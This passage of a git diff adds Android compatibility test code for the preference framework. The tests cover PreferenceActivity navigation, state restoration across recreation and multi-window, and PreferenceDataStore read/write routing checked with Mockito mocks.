+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that list preference opens correctly and that back press correctly closes it.
+     */
+    void listDialogTest()  {
+        launchActivity();
+
+        assertInitialState();
+        if (!mIsMultiPane) {
+            tapOnPrefs1Header();
+        }
+
+        mTestUtils.tapOnViewWithText(LIST_PREF_TITLE);
+
+        mTestUtils.isTextShown(LIST_PREF_OPTION);
+
+        pressBack();
+
+        if (mIsMultiPane) {
+            // Headers and Prefs1 should be shown.
+            assertHeadersShown();
+            assertPanelPrefs1Shown();
+        } else {
+            // Only Prefs1 should be shown.
+            assertHeadersHidden();
+            assertPanelPrefs1Shown();
+        }
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that the PreferenceActivity properly restores its state after recreation.
+     * Test done via screenshots.
+     */
+    void recreateTest() {
+        launchActivity();
+
+        assertInitialState();
+        tapOnPrefs2Header();
+
+        assertPanelPrefs2Shown();
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        recreate();
+
+        assertPanelPrefs2Shown();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that the PreferenceActivity properly restores its state after recreation
+     * while an inner fragment is shown. Test done via screenshots.
+     */
+    void recreateInnerFragmentTest() {
+        launchActivity();
+
+        assertInitialState();
+
+        if (!mIsMultiPane) {
+            tapOnPrefs1Header();
+        }
+
+        // Go to preferences inner fragment.
+        mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
+
+        // We don't need to check that correct panel is displayed that is already covered by
+        // smallScreenGoToFragmentInner and largeScreenGoToFragmentInner
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        recreate();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that the PreferenceActivity properly restores its state after going to
+     * multi-window and back. Test done via screenshots.
+     */
+    void multiWindowInOutTest() {
+        launchActivity();
+
+        assertInitialState();
+        // Tap on Prefs2 header.
+        tapOnPrefs2Header();
+
+        assertPanelPrefs2Shown();
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        // Enter and leave multi-window.
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        assertPanelPrefs2Shown();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that the PreferenceActivity properly restores its state after going to
+     * multi-window and back while an inner fragment is shown. Test done via screenshots.
+     */
+    void multiWindowInnerFragmentInOutTest() {
+        launchActivity();
+
+        assertInitialState();
+        if (!mIsMultiPane) {
+            tapOnPrefs1Header();
+        }
+
+        // Go to preferences inner fragment.
+        mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
+
+        // We don't need to check that correct panel is displayed that is already covered by
+        // smallScreenGoToFragmentInner and largeScreenGoToFragmentInner
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        // Enter and leave multi-window.
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Large screen (single or multi-pane).
+     * Scenario: Goes to single-pane by entering multi-window and tests that back press ends up with
+     * a list of headers and nothing else. Then leaves multi-window back to single-pane and tests if
+     * the proper default header was opened (screenshot test).
+     */
+    void multiWindowInitialHeaderOnBackTest() {
+        launchActivity();
+        if (!shouldRunLargeDeviceTest()) {
+            return;
+        }
+
+        assertInitialState();
+
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        // Enter multi-window.
+        mTestUtils.enterMultiWindow(mActivity);
+
+        // Get window focus (otherwise back press would close multi-window instead of firing to the
+        // Activity.
+        mTestUtils.getMultiWindowFocus(mActivity);
+
+        pressBack();
+
+        // Only headers should be shown (also checks that we have correct focus).
+        assertHeadersShown();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Hidden();
+
+        // Leave multi-window
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Headers and Prefs1 should be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Large screen (multi-pane).
+     * Scenario: Tests that history is preserved correctly while transitioning to multi-window.
+     * Navigates to Prefs2 pane and then goes to single-pane mode via multi-window. Test that back
+     * press navigates to the headers list. Then tests that restoring multi-pane by leaving
+     * multi-window opens the same screen with which was the activity started before (screenshot
+     * test).
+     */
+    void multiWindowHistoryPreserveTest() {
+        launchActivity();
+        if (!shouldRunLargeDeviceTest()) {
+            return;
+        }
+
+        assertInitialState();
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        tapOnPrefs2Header();
+
+        // Enter multi-window.
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.getMultiWindowFocus(mActivity);
+
+        // Only Prefs2 should be shown (also checks that we have correct focus).
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Shown();
+
+        pressBack();
+
+        // Only headers should be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Hidden();
+
+        tapOnPrefs1Header();
+
+        // Only Prefs1 should be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+
+        // Leave multi-window
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Headers and Prefs1 should be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) {
+        assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after));
+    }
+
+    private void assertInitialState() {
+        if (mIsMultiPane) {
+            // Headers and panel Prefs1 must be shown.
+            assertHeadersShown();
+            runOnUiThread(() -> assertTrue(mActivity.hasHeaders()));
+            assertPanelPrefs1Shown();
+            assertPanelPrefs2Hidden();
+        } else {
+            // Headers must be shown and nothing else.
+            assertHeadersShown();
+            runOnUiThread(() -> assertTrue(mActivity.hasHeaders()));
+            assertPanelPrefs1Hidden();
+            assertPanelPrefs2Hidden();
+        }
+
+        assertHeadersAreLoaded();
+    }
+
+    private void assertInitialStateForFragment() {
+        if (mIsMultiPane) {
+            // Headers and Prefs2 should be shown.
+            assertHeadersShown();
+            runOnUiThread(() -> assertTrue(mActivity.hasHeaders()));
+            assertPanelPrefs1Hidden();
+            assertPanelPrefs2Shown();
+        } else {
+            // Only Prefs2 should be shown.
+            assertHeadersHidden();
+            runOnUiThread(() -> assertFalse(mActivity.hasHeaders()));
+            assertPanelPrefs1Hidden();
+            assertPanelPrefs2Shown();
+        }
+
+
+    }
+
+    public boolean shouldRunLargeDeviceTest() {
+        if (mActivity.onIsMultiPane()) {
+            return true;
+        }
+
+        Log.d(TAG, "Skipping a large device test.");
+        return false;
+    }
+
+    public boolean shouldRunSmallDeviceTest() {
+        if (!mActivity.onIsMultiPane()) {
+            return true;
+        }
+
+        Log.d(TAG, "Skipping a small device test.");
+        return false;
+    }
+
+    private void tapOnPrefs1Header() {
+        mTestUtils.tapOnViewWithText(PREFS1_HEADER_TITLE);
+    }
+
+    private void tapOnPrefs2Header() {
+        mTestUtils.tapOnViewWithText(PREFS2_HEADER_TITLE);
+    }
+
+    private void assertHeadersAreLoaded() {
+        runOnUiThread(() -> {
+            assertEquals(EXPECTED_HEADERS_COUNT,
+                    mActivity.loadedHeaders == null
+                            ? 0
+                            : mActivity.loadedHeaders.size());
+        });
+    }
+
+    private void assertHeadersShown() {
+        assertTextShown(PREFS1_HEADER_TITLE);
+        assertTextShown(PREFS2_HEADER_TITLE);
+    }
+
+    private void assertHeadersNotFocused() {
+        assertFalse(mTestUtils.isTextFocused(PREFS1_HEADER_TITLE));
+        assertFalse(mTestUtils.isTextFocused(PREFS2_HEADER_TITLE));
+    }
+
+    private void assertHeadersHidden() {
+        // We check '&' instead of each individual separately because these headers are also part
+        // of individual preference panels breadcrumbs so it would fail for one.
+        assertFalse(mTestUtils.isTextShown(PREFS1_HEADER_TITLE)
+                && mTestUtils.isTextShown(PREFS2_HEADER_TITLE));
+    }
+
+    private void assertPanelPrefs1Shown() {
+        assertTextShown(PREFS1_PANEL_TITLE);
+    }
+
+    private void assertPanelPrefs1Hidden() {
+        assertTextHidden(PREFS1_PANEL_TITLE);
+    }
+
+    private void assertPanelPrefs2Shown() {
+        assertTextShown(PREFS2_PANEL_TITLE);
+    }
+
+    private void assertPanelPrefs2Hidden() {
+        assertTextHidden(PREFS2_PANEL_TITLE);
+    }
+
+    private void assertInnerFragmentShown() {
+        assertTextShown(INNER_FRAGMENT_PREF_TITLE);
+    }
+
+    private void assertInnerFragmentHidden() {
+        assertTextHidden(INNER_FRAGMENT_PREF_TITLE);
+    }
+
+    private void assertTextShown(String text) {
+        assertTrue(mTestUtils.isTextShown(text));
+    }
+
+    private void assertTextHidden(String text) {
+        assertTrue(mTestUtils.isTextHidden(text));
+    }
+
+    private void assertTitleShown() {
+        if (!mTestUtils.isOnWatchUiMode()) {
+            // On watch, activity title is not shown by default.
+            String testTitle = mActivity.getResources().getString(INITIAL_TITLE_RES_ID);
+            assertTextShown(testTitle);
+        }
+    }
+
+    private void recreate() {
+        runOnUiThread(() -> mActivity.recreate());
+        SystemClock.sleep(1000);
+        waitForIdle();
+    }
+
+    private void waitForIdle() {
+        mTestUtils.device.waitForIdle();
+    }
+
+    private void pressBack() {
+        mTestUtils.device.pressBack();
+        waitForIdle();
+    }
+
+    private void launchActivity() {
+        mActivity = launchActivity(null);
+        mTestUtils.device.waitForIdle();
+        runOnUiThread(() -> {
+            mIsMultiPane = mActivity.isMultiPane();
+        });
+    }
+
+    private void launchActivityWithExtras(Class extraFragment, boolean noHeaders,
+            int initialTitle) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+
+        if (extraFragment != null) {
+            intent.putExtra(EXTRA_SHOW_FRAGMENT, extraFragment.getName());
+        }
+        if (noHeaders) {
+            intent.putExtra(EXTRA_NO_HEADERS, true);
+        }
+        if (initialTitle != -1) {
+            intent.putExtra(EXTRA_SHOW_FRAGMENT_TITLE, initialTitle);
+        }
+
+        mActivity = launchActivity(intent);
+        mTestUtils.device.waitForIdle();
+        runOnUiThread(() -> {
+            mIsMultiPane = mActivity.isMultiPane();
+        });
+    }
+
+    protected abstract PreferenceWithHeaders launchActivity(Intent intent);
+
+    protected abstract void runOnUiThread(final Runnable runnable);
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
new file mode 100644
index 0000000..fa1235d
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Bitmap;
+import android.os.SystemClock;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BitmapUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * This test suite covers {@link android.preference.PreferenceActivity} and its legacy usage that
+ * inflates only a preference screen without using any headers or fragments. This should verify
+ * correct behavior in orientation and multi-window changes.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceActivityLegacyFlowTest {
+
+    // Helper strings to ensure that some parts of preferences are visible or not.
+    private static final String LEGACY_SCREEN_TEXT = "Preset Title";
+
+    private TestUtils mTestUtils;
+    private PreferencesFromXml mActivity;
+
+    @Rule
+    public ActivityTestRule<PreferencesFromXml> mActivityRule =
+            new ActivityTestRule<>(PreferencesFromXml.class);
+
+    @Before
+    public void setup() {
+        mTestUtils = new TestUtils();
+        mActivity = mActivityRule.getActivity();
+    }
+
+    /**
+     * Scenario: Tests that items from the given preference screen are shown.
+     */
+    @Test
+    public void legacyActivityTest() {
+        waitForIdle();
+
+        // Prefs list should be shown.
+        assertTextShown(LEGACY_SCREEN_TEXT);
+    }
+
+    /**
+     * Scenario: Tests that the activity correctly restores its state after recreation in legacy
+     * mode.
+     */
+    @Test
+    public void legacyActivityRecreateTest() {
+        waitForIdle();
+
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        recreate();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * Scenario: Tests that the activity still shows the preference screen even after multi-window
+     * is entered.
+     */
+    @Test
+    public void legacyActivityMultiWindowTest() {
+        waitForIdle();
+
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.getMultiWindowFocus(mActivity);
+
+        // Prefs list should be shown.
+        assertTextShown(LEGACY_SCREEN_TEXT);
+
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Prefs list should be shown.
+        assertTextShown(LEGACY_SCREEN_TEXT);
+    }
+
+    /**
+     * Scenario: Tests that the activity correctly restores its state after multi-window changes
+     * in legacy mode.
+     */
+    @Test
+    public void legacyActivityMultiWindowToggleTest() {
+        waitForIdle();
+
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    private void recreate() {
+        runOnUiThread(() -> mActivity.recreate());
+        SystemClock.sleep(1000);
+        waitForIdle();
+    }
+
+    private void runOnUiThread(final Runnable runnable) {
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                runnable.run();
+            });
+        } catch (Throwable ex) {
+            throw new RuntimeException("Failure on the UI thread", ex);
+        }
+    }
+
+    private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) {
+        assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after));
+    }
+
+    private void assertTextShown(String text) {
+        assertTrue(mTestUtils.isTextShown(text));
+    }
+
+    private void waitForIdle() {
+        mTestUtils.device.waitForIdle();
+    }
+
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
new file mode 100644
index 0000000..cc93b44
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
@@ -0,0 +1,564 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.AdditionalMatchers.or;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyBoolean;
+import static org.mockito.Matchers.anyFloat;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Matchers.anyString;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Matchers.isNull;
+import static org.mockito.Matchers.nullable;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
+import static org.mockito.Mockito.when;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.preference.CheckBoxPreference;
+import android.preference.Preference;
+import android.preference.PreferenceDataStore;
+import android.preference.PreferenceManager;
+import android.preference.PreferenceScreen;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceDataStoreTest {
+
+    private PreferenceFragmentActivity mActivity;
+    private PreferenceWrapper mPreference;
+    private PreferenceDataStore mDataStore;
+    private PreferenceScreen mScreen;
+    private PreferenceManager mManager;
+    private SharedPreferences mSharedPref;
+
+    private static final String KEY = "TestPrefKey";
+    private static final String TEST_STR = "Test";
+    private static final String TEST_DEFAULT_STR = "TestDefault";
+    private static final String TEST_WRONG_STR = "TestFromSharedPref";
+
+    @Rule
+    public ActivityTestRule<PreferenceFragmentActivity> mActivityRule =
+            new ActivityTestRule<>(PreferenceFragmentActivity.class);
+
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mPreference = new PreferenceWrapper(mActivity);
+        mPreference.setKey(KEY);
+
+        // Assign the Preference to the PreferenceFragment.
+        mScreen = mActivity.prefFragment.getPreferenceManager().createPreferenceScreen(mActivity);
+        mManager = mScreen.getPreferenceManager();
+        mSharedPref = mManager.getSharedPreferences();
+
+        mDataStore = mock(PreferenceDataStore.class);
+
+        // Make sure that the key is not present in SharedPreferences to ensure test correctness.
+        mManager.getSharedPreferences().edit().remove(KEY).commit();
+    }
+
+    @Test
+    public void testThatDataStoreIsNullByDefault() {
+        Preference preference = new Preference(mActivity);
+        mScreen.addPreference(preference);
+
+        assertNull(preference.getPreferenceDataStore());
+        assertNotNull(preference.getSharedPreferences());
+
+        assertNull(mManager.getPreferenceDataStore());
+        assertNotNull(mManager.getSharedPreferences());
+    }
+
+    @Test
+    public void testSetGetOnPreference() {
+        Preference preference = new Preference(mActivity);
+        preference.setPreferenceDataStore(mDataStore);
+
+        assertEquals(mDataStore, preference.getPreferenceDataStore());
+        assertNull(preference.getSharedPreferences());
+    }
+
+    @Test
+    public void testSetGetOnPreferenceManager() {
+        mManager.setPreferenceDataStore(mDataStore);
+
+        assertEquals(mDataStore, mManager.getPreferenceDataStore());
+        assertNull(mManager.getSharedPreferences());
+    }
+
+    @Test
+    public void testSetOnPreferenceManagerGetOnPreference() {
+        Preference preference = new Preference(mActivity);
+        mScreen.addPreference(preference);
+        mManager.setPreferenceDataStore(mDataStore);
+
+        assertEquals(mDataStore, preference.getPreferenceDataStore());
+        assertNull(preference.getSharedPreferences());
+    }
+
+    @Test
+    public void testDataStoresHierarchy() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        PreferenceDataStore secondaryDataStore = mock(PreferenceDataStore.class);
+        mScreen.addPreference(mPreference);
+        mManager.setPreferenceDataStore(secondaryDataStore);
+        mPreference.putString(TEST_STR);
+
+        // Check that the Preference returns the correct data store.
+        assertEquals(mDataStore, mPreference.getPreferenceDataStore());
+
+        // Check that the secondary data store assigned to the manager was NOT used.
+        verifyZeroInteractions(secondaryDataStore);
+
+        // Check that the primary data store assigned directly to the preference was used.
+        verify(mDataStore, atLeastOnce()).getString(eq(KEY), any());
+    }
+
+    @Test
+    public void testPutStringWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putStringTestCommon();
+    }
+
+    @Test
+    public void testPutStringWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putStringTestCommon();
+    }
+
+    private void putStringTestCommon() {
+        mPreference.putString(TEST_STR);
+
+        verify(mDataStore, atLeast(0)).getString(eq(KEY), nullable(String.class));
+        verify(mDataStore, atLeastOnce()).putString(eq(KEY), anyString());
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertNull(mSharedPref.getString(KEY, null));
+    }
+
+    @Test
+    public void testGetStringWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getString(TEST_STR);
+        verify(mDataStore, atLeastOnce()).getString(eq(KEY), eq(TEST_STR));
+    }
+
+    @Test
+    public void testGetStringWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getString(TEST_STR);
+        verify(mDataStore, atLeastOnce()).getString(eq(KEY), eq(TEST_STR));
+    }
+
+    /**
+     * This test makes sure that when a default value is set to a preference that has a data store
+     * assigned that the default value is correctly propagated to
+     * {@link Preference#onSetInitialValue(boolean, Object)} instead of passing a value from
+     * {@link android.content.SharedPreferences}. We have this test only for String because the
+     * implementation is not dependent on value type so this coverage should be fine.
+     */
+    @Test
+    public void testDefaultStringValue() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mPreference.setDefaultValue(TEST_DEFAULT_STR);
+        mSharedPref.edit().putString(KEY, TEST_WRONG_STR).commit();
+        mScreen.addPreference(mPreference);
+        mSharedPref.edit().remove(KEY).commit();
+        assertEquals(TEST_DEFAULT_STR, mPreference.defaultValue);
+    }
+
+    /**
+     * Test that the initial value is taken from the data store (before the preference gets assigned
+     * to the preference hierarchy).
+     */
+    @Test
+    public void testInitialValueIsFromDataStoreOnPreference() {
+        when(mDataStore.getBoolean(anyString(), anyBoolean())).thenReturn(true);
+
+        CheckBoxPreference pref = new CheckBoxPreference(mActivityRule.getActivity());
+        pref.setKey("CheckboxTestPref");
+        pref.setPreferenceDataStore(mDataStore);
+
+        mScreen.addPreference(pref);
+
+        assertTrue(pref.isChecked());
+    }
+
+    /**
+     * Test that the initial value is taken from the data store (before the preference gets assigned
+     * to the preference hierarchy).
+     */
+    @Test
+    public void testInitialValueIsFromDataStoreOnPreferenceManager() {
+        when(mDataStore.getBoolean(anyString(), anyBoolean())).thenReturn(true);
+        mManager.setPreferenceDataStore(mDataStore);
+
+        CheckBoxPreference pref = new CheckBoxPreference(mActivityRule.getActivity());
+        pref.setKey("CheckboxTestPref");
+
+        mScreen.addPreference(pref);
+
+        assertTrue(pref.isChecked());
+    }
+
+    @Test
+    public void testPutStringSetWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putStringSetTestCommon();
+    }
+
+    @Test
+    public void testPutStringSetWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putStringSetTestCommon();
+    }
+
+    private void putStringSetTestCommon() {
+        Set<String> testSet = new HashSet<>();
+        testSet.add(TEST_STR);
+        mPreference.putStringSet(testSet);
+
+        verify(mDataStore, atLeast(0)).getStringSet(eq(KEY), or(isNull(Set.class), any()));
+        verify(mDataStore, atLeastOnce()).putStringSet(eq(KEY), or(isNull(Set.class), any()));
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertNull(mSharedPref.getStringSet(KEY, null));
+    }
+
+    @Test
+    public void testGetStringSetWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        Set<String> testSet = new HashSet<>();
+        mPreference.getStringSet(testSet);
+        verify(mDataStore, atLeastOnce()).getStringSet(eq(KEY), eq(testSet));
+    }
+
+    @Test
+    public void testGetStringSetWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        Set<String> testSet = new HashSet<>();
+        mPreference.getStringSet(testSet);
+        verify(mDataStore, atLeastOnce()).getStringSet(eq(KEY), eq(testSet));
+    }
+
+    @Test
+    public void testPutIntWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putIntTestCommon();
+    }
+
+    @Test
+    public void testPutIntWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putIntTestCommon();
+    }
+
+    private void putIntTestCommon() {
+        mPreference.putInt(1);
+
+        verify(mDataStore, atLeast(0)).getInt(eq(KEY), anyInt());
+        verify(mDataStore, atLeastOnce()).putInt(eq(KEY), anyInt());
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertEquals(-1, mSharedPref.getInt(KEY, -1));
+    }
+
+    @Test
+    public void testGetIntWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getInt(1);
+        verify(mDataStore, atLeastOnce()).getInt(eq(KEY), eq(1));
+    }
+
+    @Test
+    public void testGetIntWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getInt(1);
+        verify(mDataStore, atLeastOnce()).getInt(eq(KEY), eq(1));
+    }
+
+    @Test
+    public void testPutLongWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putLongTestCommon();
+    }
+
+    @Test
+    public void testPutLongWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putLongTestCommon();
+    }
+
+    private void putLongTestCommon() {
+        mPreference.putLong(1L);
+
+        verify(mDataStore, atLeast(0)).getLong(eq(KEY), anyLong());
+        verify(mDataStore, atLeastOnce()).putLong(eq(KEY), anyLong());
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertEquals(-1, mSharedPref.getLong(KEY, -1L));
+    }
+
+    @Test
+    public void testGetLongWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getLong(1L);
+        verify(mDataStore, atLeastOnce()).getLong(eq(KEY), eq(1L));
+    }
+
+    @Test
+    public void testGetLongWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getLong(1L);
+        verify(mDataStore, atLeastOnce()).getLong(eq(KEY), eq(1L));
+    }
+
+    @Test
+    public void testPutFloatWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putFloatTestCommon();
+    }
+
+    @Test
+    public void testPutFloatWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putFloatTestCommon();
+    }
+
+    private void putFloatTestCommon() {
+        mPreference.putFloat(1f);
+
+        verify(mDataStore, atLeast(0)).getFloat(eq(KEY), anyFloat());
+        verify(mDataStore, atLeastOnce()).putFloat(eq(KEY), anyFloat());
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertEquals(-1, mSharedPref.getFloat(KEY, -1f), 0.1f /* epsilon */);
+    }
+
+    @Test
+    public void testGetFloatWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getFloat(1f);
+        verify(mDataStore, atLeastOnce()).getFloat(eq(KEY), eq(1f));
+    }
+
+    @Test
+    public void testGetFloatWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getFloat(1f);
+        verify(mDataStore, atLeastOnce()).getFloat(eq(KEY), eq(1f));
+    }
+
+    @Test
+    public void testPutBooleanWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putBooleanTestCommon();
+    }
+
+    @Test
+    public void testPutBooleanWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        putBooleanTestCommon();
+    }
+
+    private void putBooleanTestCommon() {
+        mPreference.putBoolean(true);
+
+        verify(mDataStore, atLeast(0)).getBoolean(eq(KEY), anyBoolean());
+        verify(mDataStore, atLeastOnce()).putBoolean(eq(KEY), anyBoolean());
+        verifyNoMoreInteractions(mDataStore);
+
+        // Test that the value was NOT propagated to SharedPreferences.
+        assertEquals(false, mSharedPref.getBoolean(KEY, false));
+    }
+
+    @Test
+    public void testGetBooleanWithDataStoreOnPref() {
+        mPreference.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getBoolean(true);
+        verify(mDataStore, atLeastOnce()).getBoolean(eq(KEY), eq(true));
+    }
+
